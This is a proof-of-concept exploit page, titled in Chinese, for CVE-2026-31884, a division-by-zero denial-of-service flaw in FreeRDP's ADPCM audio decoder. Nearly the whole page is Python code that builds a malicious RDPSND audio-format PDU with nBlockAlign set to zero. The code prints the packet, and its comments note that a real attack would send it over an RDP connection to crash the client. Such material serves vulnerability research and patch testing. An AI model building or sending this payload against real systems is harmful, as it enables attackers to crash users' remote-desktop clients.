CVE-2026-31884 FreeRDP ADPCM解码器除零拒绝服务漏洞

# CVE-2026-31884 PoC - FreeRDP ADPCM Decoder Division by Zero # This PoC demonstrates the vulnerability by crafting a malicious RDP audio format PDU import struct def create_malicious_audio_format_pdu(): """ Create a malicious Server Audio Formats PDU with nBlockAlign=0 This triggers division by zero in ADPCM decoders """ # Audio format structure for RDPSND channel # Format: wFormatTag(2) | nChannels(2) | nSamplesPerSec(4) | nAvgBytesPerSec(4) # | nBlockAlign(2) | wBitsPerSample(2) | cbSize(2) [optional] wFormatTag = 0x0002 # MS-ADPCM codec nChannels = 1 nSamplesPerSec = 8000 nAvgBytesPerSec = 8000 nBlockAlign = 0 # MALICIOUS: Set to 0 to trigger division by zero wBitsPerSample = 4 cbSize = 0 # Construct audio format tag format_data = struct.pack('<HHIIHH', wFormatTag, nChannels, nSamplesPerSec, nAvgBytesPerSec, nBlockAlign, # Vulnerable field wBitsPerSample ) if cbSize > 0: format_data += struct.pack('<H', cbSize) # RDPSND header: msgType(2) | bodySize(4) | numFormats(2) msg_type = 0x0002 # SNDC_FORMATS num_formats = 1 body_size = 2 + len(format_data) # numFormats + formatData header = struct.pack('<HI', msg_type, body_size ) format_header = struct.pack('<H', num_formats) return header + format_header + format_data def exploit(): """ Simulate sending malicious PDU to FreeRDP client In real attack: This would be sent via RDP connection on RDPSND channel """ malicious_pdu = create_malicious_audio_format_pdu() print(f"[*] Generated malicious audio format PDU ({len(malicious_pdu)} bytes)") print(f"[*] nBlockAlign value: 0 (will cause SIGFPE in ADPCM decoder)") print(f"[*] Trigger condition: size % 0 in libfreerdp/codec/dsp.c") return malicious_pdu if __name__ == "__main__": exploit()